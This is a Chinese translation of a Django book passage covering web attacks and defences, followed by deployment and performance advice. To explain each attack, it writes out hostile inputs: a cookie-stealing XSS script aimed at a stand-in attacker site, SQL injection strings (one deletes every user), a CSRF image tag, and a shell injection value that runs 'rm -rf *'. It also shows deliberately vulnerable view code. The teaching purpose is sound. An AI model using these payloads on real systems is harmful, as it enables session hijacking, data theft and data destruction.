Django 设计模式最佳实践(三)
原文:
zh.annas-archive.org/md5/60442E9F3DEB860EA5C31D69FB8A3E2C译者:飞龙
第十章:安全
在本章中,我们将讨论以下主题:
-
各种 Web 攻击和对策
-
Django 可以在哪些方面提供帮助,哪些方面不能提供帮助
-
Django 应用程序的安全检查
一些知名的行业报告表明,网站和 Web 应用程序仍然是网络攻击的主要目标之一。然而,2013 年一家领先的安全公司测试的所有网站中,约 86%都存在至少一个严重的漏洞。
将应用程序发布到公共网络中充满了许多危险,从泄露机密信息到拒绝服务攻击。主流媒体头条新闻关注的安全漏洞主要集中在一些漏洞利用上,比如 Heartbleed、Superfish 和 POODLE,这些漏洞对关键的网站应用程序,比如电子邮件和银行业务,产生了不利影响。事实上,人们常常会想知道 WWW 是代表全球网络还是狂野的西部。
Django 的最大卖点之一是其对安全性的高度关注。在本章中,我们将介绍攻击者使用的顶级技术。正如我们将很快看到的,Django 可以在开箱即用的情况下保护您免受大多数攻击。
我相信要保护您的网站免受攻击,您需要像攻击者一样思考。因此,让我们熟悉一下常见的攻击。
跨站脚本(XSS)
跨站脚本(XSS)被认为是当今最普遍的 Web 应用程序安全漏洞,它使攻击者能够在用户查看的网页上执行其恶意脚本(通常是 JavaScript)。通常,服务器会被欺骗以在受信任的内容中提供他们的恶意内容。
恶意代码如何到达服务器?将外部数据输入网站的常见方式如下:
-
表单字段
-
URL
-
重定向
-
诸如广告或分析之类的外部脚本
这些都无法完全避免。真正的问题是当外部数据在未经验证或未经过滤的情况下被使用时(如下图所示)。永远不要相信外部数据:
例如,让我们看一下一段有漏洞的代码,以及如何对其进行 XSS 攻击。强烈建议不要在任何形式中使用此代码:
class XSSDemoView(View):
def get(self, request):
# WARNING: This code is insecure and prone to XSS attacks
# *** Do not use it!!! ***
if 'q' in request.GET:
return HttpResponse("Searched for: {}".format(
request.GET['q']))
else:
return HttpResponse("""<form method="get">
<input type="text" name="q" placeholder="Search" value="">
<button type="submit">Go</button>
</form>""")
这是一个View类,当没有任何GET参数访问时,它会显示一个搜索表单。如果提交搜索表单,它会显示用户在表单中输入的搜索字符串。
现在在一个过时的浏览器(比如 IE 8)中打开这个视图,并在表单中输入以下搜索词并提交:
<script>alert("pwned")</script>
毫不奇怪,浏览器将显示一个带有不祥消息的警报框。请注意,这种攻击在最新的 Webkit 浏览器(如 Chrome)中会失败,并在控制台中显示错误——拒绝执行 JavaScript 脚本。在请求中找到脚本的源代码。
如果你想知道一个简单的警报消息会造成什么伤害,记住任何 JavaScript 代码都可以以相同的方式执行。在最坏的情况下,用户的 Cookie 可以通过输入以下搜索词被发送到攻击者控制的站点:
<script>var adr = 'http://lair.com/evil.php?stolen=' + escape(document.cookie);</script>
一旦您的 Cookie 被发送,攻击者可能会进行更严重的攻击。
为什么你的 Cookie 很有价值?
值得了解的是,为什么 Cookie 是几种攻击的目标。简而言之,访问 Cookie 允许攻击者冒充您,甚至控制您的网络帐户。
要详细了解这一点,您需要了解会话的概念。HTTP 是无状态的。无论是匿名用户还是经过身份验证的用户,Django 都会在一定时间内跟踪他们的活动,管理会话。
会话由客户端端(即浏览器)的“会话 ID”和服务器端存储的类似字典的对象组成。“会话 ID”是一个随机的 32 个字符的字符串,存储为浏览器中的 Cookie。每当用户向网站发出请求时,包括这个“会话 ID”在内的所有 Cookie 都会随请求一起发送。
在服务器端,Django 维护一个会话存储,将此会话 ID映射到会话数据。默认情况下,Django 将会话数据存储在django_session数据库表中。
用户成功登录后,会话将记录身份验证成功并跟踪用户。因此,cookie 成为后续交易的临时用户身份验证。任何获得此 cookie 的人都可以使用该 Web 应用程序作为该用户,这称为会话劫持。
Django 如何帮助
您可能已经注意到,我的示例是 Django 中实现视图的一种非常不寻常的方式,原因有两个:它没有使用模板进行渲染,也没有使用表单类。它们都有防止 XSS 的措施。
默认情况下,Django 模板会自动转义 HTML 特殊字符。因此,如果您在模板中显示搜索字符串,所有标记都将被 HTML 编码。这使得无法注入脚本,除非您通过将内容标记为安全来明确关闭它们。
在 Django 中使用表单来验证和清理输入也是一种非常有效的对策。例如,如果您的应用程序需要数字员工 ID,则使用IntegerField类而不是更宽松的CharField类。
在我们的示例中,我们可以在搜索词字段中使用RegexValidator类,以限制用户只能使用您的搜索模块识别的字母数字字符和允许的标点符号。尽可能严格地限制用户输入的可接受范围。
Django 可能无法帮助的地方
Django 可以通过模板中的自动转义来防止 80%的 XSS 攻击。对于剩下的情况,您必须注意:
-
引用所有 HTML 属性,例如,用
<a href="{{link}}">替换<a href={{link}}> -
使用自定义方法在 CSS 或 JavaScript 中转义动态数据
-
验证所有 URL,特别是针对不安全的协议,如
javascript: -
避免客户端 XSS(也称为基于 DOM 的 XSS)
作为对抗 XSS 的一般规则,我建议——输入时过滤,输出时转义。确保您验证和清理(过滤)任何输入的数据,并在发送给用户之前立即转换(转义)它。具体而言,如果您需要支持具有 HTML 格式的用户输入,例如评论,请考虑改用 Markdown。
提示
输入时过滤,输出时转义。
跨站点请求伪造(CSRF)
跨站点请求伪造(CSRF)是一种欺骗用户在访问其他网站时对已经经过身份验证的网站进行不需要的操作的攻击。比如,在论坛中,攻击者可以在页面中放置一个IMG或IFRAME标记,向经过身份验证的网站发送一个精心制作的请求。
例如,以下假的 0x0 图像可以嵌入评论中:
<img src="img/post?message=I+am+a+Dufus" width="0" height="0" border="0">
如果您已经在另一个标签中登录了 SuperBook,并且网站没有 CSRF 对策,那么将会发布一个非常尴尬的消息。换句话说,CSRF 允许攻击者以您的身份执行操作。
Django 如何帮助
对抗 CSRF 的基本保护措施是对具有副作用的任何操作使用 HTTP POST(或PUT和DELETE,如果支持)。任何GET(或HEAD)请求必须用于信息检索,例如只读。
Django 通过嵌入令牌来提供对POST、PUT或DELETE方法的对策。您可能已经熟悉每个 Django 表单模板中提到的{% csrf_token %}。这是一个必须在提交表单时出现的随机值。
这种工作方式是,攻击者在向您的经过身份验证的站点发送请求时无法猜到令牌。由于令牌是强制性的,并且必须与显示表单时呈现的值匹配,因此表单提交失败,攻击被挫败。
Django 可能无法帮助的地方
一些人使用@csrf_exempt装饰器在视图中关闭 CSRF 检查,特别是对于 AJAX 表单提交。除非您仔细考虑了涉及的安全风险,否则不建议这样做。
SQL 注入
SQL 注入是跨站脚本(XSS)之后 Web 应用程序的第二大常见漏洞。攻击涉及将恶意 SQL 代码输入到在数据库上执行的查询中。这可能导致数据盗窃,通过转储数据库内容,或数据的破坏,比如使用DROP TABLE命令。
如果您熟悉 SQL,那么您可以理解以下代码片段。它根据给定的username查找电子邮件地址:
name = request.GET['user']
sql = "SELECT email FROM users WHERE username = '{}';".format(name)
乍一看,似乎只会返回与作为GET参数提到的用户名对应的电子邮件地址。但是,想象一下,如果攻击者在表单字段中输入' OR '1'='1,那么 SQL 代码将如下所示:
SELECT email FROM users WHERE username = '' OR '1'='1';
由于这个WHERE子句将始终为真,您应用程序中所有用户的电子邮件都将被返回。这可能是严重的机密信息泄漏。
同样,如果攻击者愿意,他可以执行更危险的查询,如下所示:
SELECT email FROM users WHERE username = ''; DELETE FROM users WHERE '1'='1';
现在所有用户条目都将从您的数据库中删除!
Django 如何帮助
防范 SQL 注入的措施非常简单。使用 Django ORM 而不是手工编写 SQL 语句。前面的示例应该这样实现:
User.objects.get(username=name).email
在这里,Django 的数据库驱动程序将自动转义参数。这将确保它们被视为纯粹的数据,因此它们是无害的。然而,正如我们很快将看到的那样,即使 ORM 也有一些逃生口。
Django 可能无法帮助的地方
可能会有一些情况需要使用原始 SQL,比如由于 Django ORM 的限制。例如,查询集的extra()方法的where子句允许原始 SQL。这些 SQL 代码不会受到 SQL 注入的影响。
如果您正在使用低级数据库操作,比如execute()方法,那么您可能希望传递绑定参数,而不是自己插入 SQL 字符串。即使这样,强烈建议您检查每个标识符是否已经被正确转义。
最后,如果您使用的是 MongoDB 等第三方数据库 API,则需要手动检查 SQL 注入。理想情况下,您希望在这些接口中只使用经过彻底清理的数据。
点击劫持
点击劫持是一种误导用户在浏览器中点击隐藏的链接或按钮的手段,当他们本来打算点击其他东西时。这通常是通过使用包含目标网站的不可见 IFRAME 在用户可能点击的虚拟网页上实现的:
由于不可见框架中的操作按钮将与虚拟页面中的按钮完全对齐,用户的点击将在目标网站上执行操作,而不是在虚拟页面上。
Django 如何帮助
Django 通过使用可以使用几个装饰器进行微调的中间件来保护您的网站免受点击劫持的影响。默认情况下,'django.middleware.clickjacking.XFrameOptionsMiddleware'中间件将包含在您的设置文件中的MIDDLEWARE_CLASSES中。它通过为每个传出的HttpResponse设置X-Frame-Options头为SAMEORIGIN来工作。
大多数现代浏览器都识别该标头,这意味着该页面不应该在其他域中的框架内。可以使用装饰器(如@xframe_options_deny和@xframe_options_exempt)为某些视图启用和禁用保护。
Shell 注入
顾名思义,shell 注入或命令注入允许攻击者向系统 shell(如bash)注入恶意代码。即使 Web 应用程序也使用命令行程序来方便和实现功能。这些进程通常在 shell 中运行。
例如,如果要显示用户给定名称的文件的所有详细信息,一个天真的实现如下:
os.system("ls -l {}".format(filename))
攻击者可以将filename输入为manage.py; rm -rf *并删除目录中的所有文件。一般来说,不建议使用os.system。subprocess模块是一个更安全的选择(或者更好的是,您可以使用os.stat()来获取文件的属性)。
由于 shell 会解释命令行参数和环境变量,因此在其中设置恶意值可以允许攻击者执行任意系统命令。
Django 如何帮助
Django 主要依赖于 WSGI 进行部署。由于 WSGI 不像 CGI 那样根据请求设置环境变量,因此在默认配置中,该框架本身不容易受到 shell 注入的影响。
然而,如果 Django 应用程序需要运行其他可执行文件,则必须小心以最少的权限运行它。任何外部来源的参数在传递给这些可执行文件之前必须经过清理。此外,如果不需要 shell 插值,可以使用subprocess模块的call()来以默认的shell=False参数安全地处理参数来运行命令行程序。
列表还在继续
这里有数百种攻击技术,我们没有涵盖到,而且随着新攻击的发现,这个列表每天都在增长。重要的是要保持对它们的了解。
Django 的官方博客(www.djangoproject.com/weblog/)是了解最新发现的漏洞的好地方。Django 的维护者们积极尝试通过发布安全更新来解决这些问题。强烈建议您尽快安装它们,因为它们通常对您的源代码需要很少或没有更改。
你的应用程序的安全性取决于它最薄弱的环节。即使你的 Django 代码可能完全安全,但你的堆栈中有很多层和组件。更不用说人类,他们也可以被各种社会工程技术欺骗,比如网络钓鱼。
一个领域的漏洞,比如操作系统、数据库或 Web 服务器,可以被利用来访问系统的其他部分。因此,最好对您的堆栈有一个整体的视图,而不是分别查看每个部分。
注意
安全室
史蒂夫一走出会议室,就拿出手机,给他的团队发了一封简洁的电子邮件:“可以了!”在过去的 60 分钟里,他被董事们询问了关于发布的每一个可能的细节。令史蒂夫恼火的是,Madam O 在整个时间里保持着冷静的沉默。
他走进自己的小屋,再次打开幻灯片。在引入清单后,琐碎错误的数量急剧下降。不可能在发布版中包含的基本功能是通过与 Hexa 和 Aksel 等乐于助人的用户进行早期合作解决的。
由于 Sue 出色的营销活动,Beta 网站的注册人数已经超过了 9,000 人。史蒂夫在他的职业生涯中从未见过如此多的对于一个发布的兴趣。就在那时,他注意到桌子上的报纸有些奇怪。
十五分钟后,他冲下 21 楼的过道。最后,有一扇标有 2109 的门。当他打开门时,他看到埃文正在处理一个看起来像白色塑料玩具笔记本电脑的东西。“你为什么要圈出填字游戏的线索?你本可以打电话给我,”史蒂夫问道。
“我想给你看点东西,”他笑着回答道。他拿起笔记本电脑走了出去。他停在 2110 房间和消防出口之间。他跪下来,用右手摸索着褪色的墙纸。“这里一定有个门闩,”他喃喃自语。
然后,他的手停了下来,转动了一把从墙上微微突出的把手。墙的一部分转动并停了下来。它露出了一个用红灯光照亮的房间的入口。屋顶上悬挂着一个标志,上面写着“21B 安全室”。
当他们进入时,许多屏幕和灯光自行打开。墙上的一个大屏幕上写着“需要验证。插入密钥。”埃文稍微欣赏了一下,然后开始连接他的笔记本电脑。
“埃文,我们在这里做什么?”史蒂夫压低声音问道。埃文停下来,“哦,对了。我想我们在测试完成之前还有一些时间。”他深吸了一口气。
“还记得奥女士要我调查哨兵代码库吗?我做到了。我意识到我们得到的是经过审查的源代码。我是说我可以理解在某些地方删除一些密码,但成千上万行的代码呢?我一直在想——肯定有什么事情发生了。
“所以,通过我的访问存档,我找到了一些旧的备份。磁介质未被擦除的几率出奇地高。无论如何,我能够恢复大部分被擦除的代码。你不会相信我看到了什么。
“哨兵不是一个普通的社交网络项目。它是一个监视计划。也许是人类已知的最大的监视计划。在冷战后,一群国家加入成立了一个网络,共享情报信息。一个由人类和哨兵组成的网络。哨兵是拥有难以置信的计算能力的半自主计算机。有人认为它们是量子计算机。
“哨兵被部署在世界各地的数千个战略位置——主要是海床,那里通过了主要的光纤电缆。它们以地热能源为动力,几乎不可摧毁。它们几乎可以访问大多数国家的几乎所有互联网通信。
“也许是在九十年代的某个时候,可能是出于对公众审查的担忧,哨兵计划被关闭了。这就是真正有趣的地方。代码历史表明,哨兵的开发是由一个名叫 Cerebos 的人继续的。代码已经从监视能力大大增强,发展成了一种类似于大规模并行超级计算机的东西。一个数值计算的野兽,对任何加密算法都构成了重大挑战。
“还记得那次入侵吗?我觉得很难相信在超级英雄到达之前没有任何进攻性行动。所以,我做了一些研究。S.H.I.M.的网络安全设计为五个同心圆。我们,员工,处于最外层,权限最低的环,由索伦保护。内部环采用了越来越强大的加密算法。这个房间在 4 级。
“我猜——在我们知道入侵之前很久,SAURON 的所有系统都已经被攻破了。系统崩溃,对那些机器人来说几乎是小菜一碟。我刚刚看了日志。这次攻击是极有针对性的——从 IP 地址到登录,所有的东西都是事先知道的。”
“内鬼?”史蒂夫惊恐地问道。
“是的。然而,哨兵只需要在 5 级时才需要帮助。一旦它们获得了 4 级的公钥,它们就开始攻击 4 级系统。听起来很疯狂,但这就是它们的策略。”
“为什么疯狂?”
“嗯,世界上大部分的在线安全都是基于公钥密码学或非对称密码学。它基于两个密钥:一个公钥,一个私钥。尽管在数学上相关——如果你有另一个密钥,要找到一个密钥在计算上是不可行的。”
“你是说哨兵网络可以?”
“事实上,它们可以用于更小的密钥。根据我现在正在进行的测试,它们的能力已经显著增长。按照这个速度,它们应该在不到 24 小时内准备好进行另一次攻击。”
“该死,那时候 SuperBook 上线了!”
一个方便的安全清单。
安全不是事后想到的,而是写应用程序的方式的一部分。然而,作为人类,有一个清单可以提醒你常见的遗漏是很方便的。
以下要点是在将 Django 应用程序公开之前应执行的最低安全检查:
-
不要相信来自浏览器、API 或任何外部来源的数据:这是一个基本规则。确保验证和清理任何外部数据。
-
不要将
SECRET_KEY保存在版本控制中:作为最佳实践,从环境中选择SECRET_KEY。查看django-environ包。 -
不要以纯文本形式存储密码:存储应用程序密码哈希。还要添加一个随机盐。
-
不要记录任何敏感数据:从日志文件中过滤掉机密数据,如信用卡详细信息或 API 密钥。
-
任何安全交易或登录都应使用 SSL:请注意,与您在同一网络中的窃听者可能会监听您的 Web 流量,如果不是在 HTTPS 中。理想情况下,您应该为整个站点使用 HTTPS。
-
避免使用重定向到用户提供的 URL:如果您有重定向,例如
http://example.com/r?url=http://evil.com,则始终检查白名单域。 -
即使对已验证的用户也要检查授权:在执行任何具有副作用的更改之前,请检查已登录用户是否被允许执行。
-
使用最严格的正则表达式:无论是您的
URLconf还是表单验证器,都必须避免懒惰和通用的正则表达式。 -
不要将 Python 代码保存在 Web 根目录中:如果以纯文本形式提供,这可能导致源代码意外泄漏。
-
使用 Django 模板而不是手动构建字符串:模板具有防止 XSS 攻击的保护。
-
使用 Django ORM 而不是 SQL 命令:ORM 提供了防止 SQL 注入的保护。
-
对于具有副作用的任何操作,请使用 Django 表单和
POST输入:对于简单的投票按钮使用表单可能看起来有些多余。但是请这样做。 -
应启用和使用 CSRF:如果您使用
@csrf_exempt装饰器豁免某些视图,则要非常小心。 -
确保 Django 和所有软件包都是最新版本:计划更新。它们可能需要对您的源代码进行一些更改。但是它们也带来了全新的功能和安全修复。
-
限制用户上传文件的大小和类型:允许大文件上传可能会导致拒绝服务攻击。拒绝上传可执行文件或脚本。
-
有备份和恢复计划:由于墨菲定律,您可以计划不可避免的攻击、灾难或任何其他类型的停机。确保您经常备份以最小化数据丢失。
其中一些可以使用 Erik 的 Pony Checkup 在ponycheckup.com/自动检查。但我建议您打印或复制此检查表并将其贴在您的桌子上。
请记住,这个列表绝不是详尽无遗的,也不能替代专业的安全审计。
总结
在本章中,我们看了影响网站和 Web 应用程序的常见攻击类型。在许多情况下,为了清晰起见,我们对技术的解释进行了简化,但这也牺牲了细节。然而,一旦我们了解了攻击的严重性,我们就能欣赏 Django 提供的对策。
在我们的最后一章中,我们将更详细地查看预部署活动。我们还将研究各种部署策略,例如基于云的主机用于部署 Django 应用程序。
第十一章:生产就绪
在本章中,我们将讨论以下主题:
-
选择 Web 堆栈
-
托管方法
-
部署工具
-
监控
-
性能提示
因此,您已经在 Django 中开发和测试了一个完全功能的 Web 应用程序。部署此应用程序可能涉及从选择托管提供商到执行安装等多种活动。更具挑战性的可能是保持生产站点在没有中断的情况下运行,并处理意外的流量突发情况。
系统管理的学科是广泛的。因此,本章将涵盖很多内容。然而,鉴于空间有限,我们将尝试让您熟悉构建生产环境的各个方面。
生产环境
尽管我们大多数人直觉上理解生产环境是什么,但值得澄清它的真正含义。生产环境只是最终用户使用您的应用程序的地方。它应该是可用的、有弹性的、安全的、响应迅速的,并且必须具有当前(和未来)需求的充足容量。
与开发环境不同,生产环境中出现任何问题可能会导致真正的业务损失。因此,在进入生产环境之前,代码会被移动到各种测试和验收环境,以尽可能消除尽可能多的错误。为了方便追踪,对生产环境所做的每一次更改都必须进行跟踪、记录并向团队中的每个人提供访问权限。
因此,绝对不应该直接在生产环境中进行开发。事实上,生产环境中不需要安装开发工具,如编译器或调试器。任何额外软件的存在都会增加您站点的攻击面,并可能构成安全风险。
大多数 Web 应用程序部署在几乎没有停机时间的站点上,比如全年无休运行的大型数据中心。通过设计以应对故障,即使内部组件出现故障,也有足够的冗余来防止整个系统崩溃。这种避免单点故障(SPOF)的概念可以应用于每个层面——硬件或软件。
因此,选择在生产环境中运行的软件集合至关重要。
选择 Web 堆栈
到目前为止,我们还没有讨论您的应用程序将在其上运行的堆栈。尽管我们在最后才谈论它,但最好不要将这样的决定推迟到应用程序生命周期的后期阶段。理想情况下,您的开发环境必须尽可能接近生产环境,以避免“但它在我的机器上运行”这种论点。
通过 Web 堆栈,我们指的是用于构建 Web 应用程序的一组技术。它通常被描述为一系列组件,如操作系统、数据库和 Web 服务器,都堆叠在一起。因此,它被称为堆栈。
我们主要将关注开源解决方案,因为它们被广泛使用。但是,如果它们更适合您的需求,也可以使用各种商业应用程序。
堆栈的组件
生产 Django Web 堆栈是使用多种应用程序(或层,根据您的术语)构建的。在构建 Web 堆栈时,您可能需要做出以下选择:
-
选择哪种操作系统和发行版?例如:Debian,Red Hat 或 OpenBSD。
-
选择哪种 WSGI 服务器?例如:Gunicorn,uWSGI。
-
选择哪种 Web 服务器?例如:Apache,Nginx。
-
选择哪种数据库?例如:PostgreSQL,MySQL 或 Redis。
-
选择哪种缓存系统?例如:Memcached,Redis。
-
选择哪种进程控制和监控系统?例如:Upstart,Systemd 或 Supervisord。
-
如何存储静态媒体?例如:Amazon S3,CloudFront。
可能还有其他几种选择,这些选择也不是互斥的。有些人同时使用这些应用程序。例如,用户名的可用性可能在 Redis 上查找,而主数据库可能是 PostgreSQL。
在选择堆栈时,没有一个“一刀切”的答案。不同的组件有不同的优势和劣势。只有经过慎重考虑和测试后才选择它们。例如,你可能听说过 Nginx 是一个流行的 Web 服务器选择,但你实际上可能需要 Apache 的丰富模块或选项。
有时,选择堆栈是基于各种非技术原因的。你的组织可能已经将特定的操作系统,比如 Debian,作为所有服务器的标准。或者你的云托管提供商可能只支持有限的堆栈。
因此,你选择如何托管你的 Django 应用程序是确定你的生产设置的关键因素之一。
托管
在托管方面,你需要确保是否选择像 Heroku 这样的托管平台。如果你不太了解如何管理服务器,或者团队中没有人具备这方面的知识,那么托管平台是一个方便的选择。
平台即服务
平台即服务(PaaS)被定义为一个云服务,其中解决方案堆栈已经为你提供和管理。Django 托管的热门平台包括 Heroku、PythonAnywhere 和 Google App Engine。
在大多数情况下,部署 Django 应用程序应该就像选择堆栈的服务或组件,然后推送你的源代码一样简单。你不需要进行任何系统管理或自己设置。平台完全由管理。
与大多数云服务一样,基础设施也可以根据需求进行扩展。如果你需要额外的数据库服务器或者服务器上的更多内存,可以很容易地从 Web 界面或命令行进行配置。定价主要基于你的使用情况。
这些托管平台的底线是它们非常容易设置,非常适合较小的项目。随着用户群体的增长,它们往往会变得更加昂贵。
另一个缺点是,你的应用程序可能会与某个平台绑定,或者变得难以移植。例如,Google App Engine 只支持非关系型数据库,这意味着你需要使用 django-nonrel,这是 Django 的一个分支。现在,谷歌云 SQL 已经在一定程度上缓解了这个限制。
虚拟专用服务器
虚拟专用服务器(VPS)是在共享环境中托管的虚拟机。从开发者的角度来看,它看起来像是一个预装有操作系统的专用机器(因此称为私有)。你需要自己安装和设置整个堆栈,尽管许多 VPS 提供商,比如 WebFaction 和 DigitalOcean,提供了更简单的 Django 设置。
如果你是一个初学者,并且可以抽出一些时间,我强烈推荐这种方法。你将获得 root 访问权限,可以构建整个堆栈。你不仅会理解堆栈的各个部分是如何组合在一起的,还可以完全控制每个单独组件的微调。
与 PaaS 相比,VPS 可能会更有性价比,特别是对于高流量的网站。你可能还可以从同一台服务器上运行多个站点。
其他托管方法
尽管在平台或 VPS 上托管是迄今为止最流行的两种托管选项,但还有很多其他选择。如果你想最大化性能,你可以选择从提供商(比如 Rackspace)那里获得裸金属服务器的托管。
在托管光谱的较轻端,您可以通过在 Docker 容器中托管多个应用程序来节省成本。Docker 是一种将应用程序和依赖项打包到虚拟容器中的工具。与传统虚拟机相比,Docker 容器启动更快,开销更小(因为没有捆绑的操作系统或 hypervisor)。
Docker 非常适合托管基于微服务的应用程序。它正变得像虚拟化一样普遍,几乎每个 PaaS 和 VPS 提供商都支持它们。它也是一个很好的开发平台,因为 Docker 容器封装了整个应用程序状态,可以直接部署到生产环境。
部署工具
一旦您确定了您的托管解决方案,您的部署过程中可能会有几个步骤,从运行回归测试到生成后台服务。
成功的部署过程的关键是自动化。由于部署应用程序涉及一系列明确定义的步骤,因此可以正确地将其视为一个编程问题。一旦您有了自动化的部署,您就不必担心部署,以免错过任何步骤。
事实上,部署应该是无痛的,并且可以根据需要频繁进行。例如,Facebook 团队可以每天发布代码到生产环境多达两次。考虑到 Facebook 庞大的用户群和代码库,这是一个令人印象深刻的壮举,然而,由于紧急错误修复和补丁需要尽快部署,这变得必要。
一个良好的部署过程也是幂等的。换句话说,即使您意外地运行了部署工具两次,操作也不应该执行两次(或者它应该保持在相同的状态)。
让我们看一些用于部署 Django 应用程序的流行工具。
Fabric
Fabric 在 Python Web 开发者中备受青睐,因为它简单易用。它期望一个名为fabfile.py的文件,定义项目中的所有操作(部署或其他)。这些操作可以是本地或远程 shell 命令。远程主机通过 SSH 连接。
Fabric 的关键优势在于其能够在一组远程主机上运行命令。例如,您可以定义一个包含生产环境中所有 Web 服务器主机名的web组。您可以通过在命令行上指定 web 组名称来仅针对这些 Web 服务器运行 Fabric 操作。
为了说明使用 Fabric 部署站点涉及的任务,让我们看一个典型的部署场景。
典型的部署步骤
假设您在单个 Web 服务器上部署了一个中等规模的 Web 应用程序。Git 被选择为版本控制和协作工具。一个与所有用户共享的中央仓库已经以裸 Git 树的形式创建。
假设您的生产服务器已经完全设置好。当您运行 Fabric 部署命令,比如fab deploy时,以下脚本化的一系列操作会发生:
-
在本地运行所有测试。
-
提交所有本地更改到 Git。
-
推送到远程中央 Git 仓库。
-
解决合并冲突(如果有)。
-
收集静态文件(CSS,图像)。
-
将静态文件复制到静态文件服务器。
-
在远程主机上,从中央 Git 仓库拉取更改。
-
在远程主机上,运行(数据库)迁移。
-
在远程主机上,触发
app.wsgi以重新启动 WSGI 服务器。
整个过程是自动的,应该在几秒钟内完成。默认情况下,如果任何步骤失败,则部署将中止。尽管没有明确提到,但会有检查确保该过程是幂等的。
请注意,Fabric 目前还不兼容 Python 3,尽管开发人员正在进行移植。与此同时,您可以在 Python 2.x 虚拟环境中运行 Fabric,或者查看类似的工具,比如 PyInvoke。
配置管理
使用 Fabric 在不同状态下管理多个服务器可能很困难。Chef、Puppet 或 Ansible 等配置管理工具试图将服务器带到特定的期望状态。
与需要以命令方式指定部署过程的 Fabric 不同,这些配置管理工具是声明性的。你只需要定义你希望服务器达到的最终状态,它就会找出如何达到那个状态。
例如,如果你想确保 Nginx 服务在所有的 Web 服务器上启动时运行,那么你需要定义一个服务器状态,其中 Nginx 服务既在运行又在启动时启动。另一方面,使用 Fabric,你需要指定确切的步骤来安装和配置 Nginx 以达到这种状态。
配置管理工具最重要的优势之一是它们默认是幂等的。你的服务器可以从一个未知状态变为已知状态,从而实现更容易的服务器配置管理和可靠的部署。
在配置管理工具中,Chef 和 Puppet 因为是这一类别中最早的工具之一,所以受到了广泛的欢迎。然而,它们在 Ruby 中的根源可能会让 Python 程序员感到有些陌生。对于这样的人来说,我们有 Salt 和 Ansible 作为很好的替代品。
与简单的工具(如 Fabric)相比,配置管理工具有相当大的学习曲线。然而,它们是创建可靠的生产环境的必要工具,绝对值得学习。
监控
即使是一个中等规模的网站也可能非常复杂。Django 可能是数百个应用程序和服务之一,它们运行并相互交互。与人体的心跳和其他生命体征可以不断监测以评估人体健康的方式相同,大多数生产系统中也会收集、分析和呈现各种指标。
虽然日志记录各种事件,比如 Web 请求的到达或异常,监控通常是指定期收集关键信息,比如内存利用率或网络延迟。然而,在应用程序级别,差异变得模糊,比如,监控数据库查询性能,这很可能是从日志中收集的。
监控还有助于早期发现问题。异常模式,比如突然上升或逐渐增加的负载,可能是更大潜在问题的迹象,比如内存泄漏。一个良好的监控系统可以在问题发生之前提醒网站所有者。
监控工具通常需要一个后端服务(有时称为代理)来收集统计数据,以及一个前端服务来显示仪表板或生成报告。流行的数据收集后端包括 StatsD 和 Monit。这些数据可以传递给前端工具,比如 Graphite。
有一些托管的监控工具,比如 New Relic 和 Status.io,更容易设置和使用。
性能测量是监控的另一个重要作用。正如我们将很快看到的,任何提出的优化在实施之前都必须经过仔细的测量和监控。
性能
性能是一个特性。研究表明,网站速度慢对用户和收入都有不利影响。例如,2007 年在亚马逊进行的测试显示,amazon.com每增加 100 毫秒的加载时间,销售额就会减少 1%。
令人放心的是,一些高性能的 Web 应用程序,如 Disqus 和 Instagram,都是基于 Django 构建的。在 Disqus,2013 年,他们可以处理 150 万个并发连接用户,每秒新建 45000 个连接,每秒发送 165000 条消息,端到端延迟不到 0.2 秒。
改善性能的关键是找出瓶颈所在。与其依赖猜测,建议您始终测量和分析您的应用程序,以确定这些性能瓶颈。正如开尔文勋爵所说:
如果你不能测量它,你就不能改善它。
在大多数 Web 应用程序中,瓶颈可能在浏览器端或数据库端,而不是在 Django 内部。但是,对于用户来说,整个应用程序都需要响应。
让我们看一些改善 Django 应用程序性能的方法。由于技术差异很大,这些建议被分成了两部分:前端和后端。
前端性能
Django 程序员可能会快速忽视前端性能,因为它涉及了解客户端,通常是浏览器,的工作原理。然而,引用 Steve Souders 对 Alexa 排名前 10 的网站的研究:
80-90%的最终用户响应时间都花在了前端。从那里开始。
前端优化的一个很好的起点是使用 Google Page Speed 或 Yahoo! YSlow(通常用作浏览器插件)检查您的网站。这些工具将对您的网站进行评分,并推荐各种最佳实践,比如最小化 HTTP 请求的数量或对内容进行 gzip 压缩。
作为最佳实践,您的静态资产,如图像、样式表和 JavaScript 文件,不应通过 Django 提供。而是应该由静态文件服务器、云存储(如 Amazon S3)或内容传递网络(CDN)为其提供更好的性能。
即使如此,Django 可以帮助您以多种方式改善前端性能:
- 使用
CachedStaticFilesStorage无限缓存:加载静态资产的最快方法是利用浏览器缓存。通过设置长时间的缓存时间,您可以避免反复下载相同的资产。但是,挑战在于知道何时不使用缓存当内容发生变化时。
CachedStaticFilesStorage通过将资产的 MD5 哈希附加到其文件名中来优雅地解决了这个问题。这样,您可以无限扩展这些文件的缓存 TTL。
要使用这个功能,将STATICFILES_STORAGE设置为CachedStaticFilesStorage,或者如果您有自定义存储,可以继承CachedFilesMixin。此外,最好配置缓存以使用本地内存缓存后端来执行静态文件名到其哈希名称的查找。
- 使用静态资产管理器:资产管理器可以预处理您的静态资产,对它们进行缩小、压缩或合并,从而减小它们的大小并减少请求。它还可以对它们进行预处理,使您能够用其他语言编写它们,比如 CoffeeScript 和 Sass。有几个 Django 包提供了静态资产管理,比如
django-pipeline或webassets。
后端性能
后端性能改进的范围涵盖了整个服务器端 Web 堆栈,包括数据库查询、模板渲染、缓存和后台作业。您将希望从中获得最高的性能,因为这完全在您的控制范围内。
对于快速和简单的分析需求,django-debug-toolbar非常方便。我们还可以使用 Python 分析工具,比如hotshot模块进行详细分析。在 Django 中,您可以使用几个分析中间件片段之一来在浏览器中显示 hotshot 的输出。
最近的实时分析解决方案是django-silk。它将所有请求和响应存储在配置的数据库中,允许在整个用户会话中进行聚合分析,比如查找性能最差的视图。它还可以通过添加装饰器来对任何 Python 代码进行分析。
与以前一样,我们将看一些改善后端性能的方法。但是,考虑到它们本身是广泛的主题,它们已被分成了几个部分。这些方法中的许多已经在前几章中进行了介绍,但在这里进行了总结以便易于参考。
模板
如文档建议的那样,应在生产中启用缓存模板加载程序。这样可以避免每次需要呈现时重新解析和重新编译模板的开销。缓存模板在首次需要时编译,然后存储在内存中。对相同模板的后续请求将从内存中提供。
如果发现其他模板语言(如 Jinja2)呈现页面的速度明显更快,则可以很容易地替换内置的 Django 模板语言。有几个库可以集成 Django 和 Jinja2,如 django-jinja。预计 Django 1.8 将默认支持多个模板引擎。
数据库
有时,Django ORM 可以生成低效的 SQL 代码。有几种优化模式可以改善这一点:
-
使用
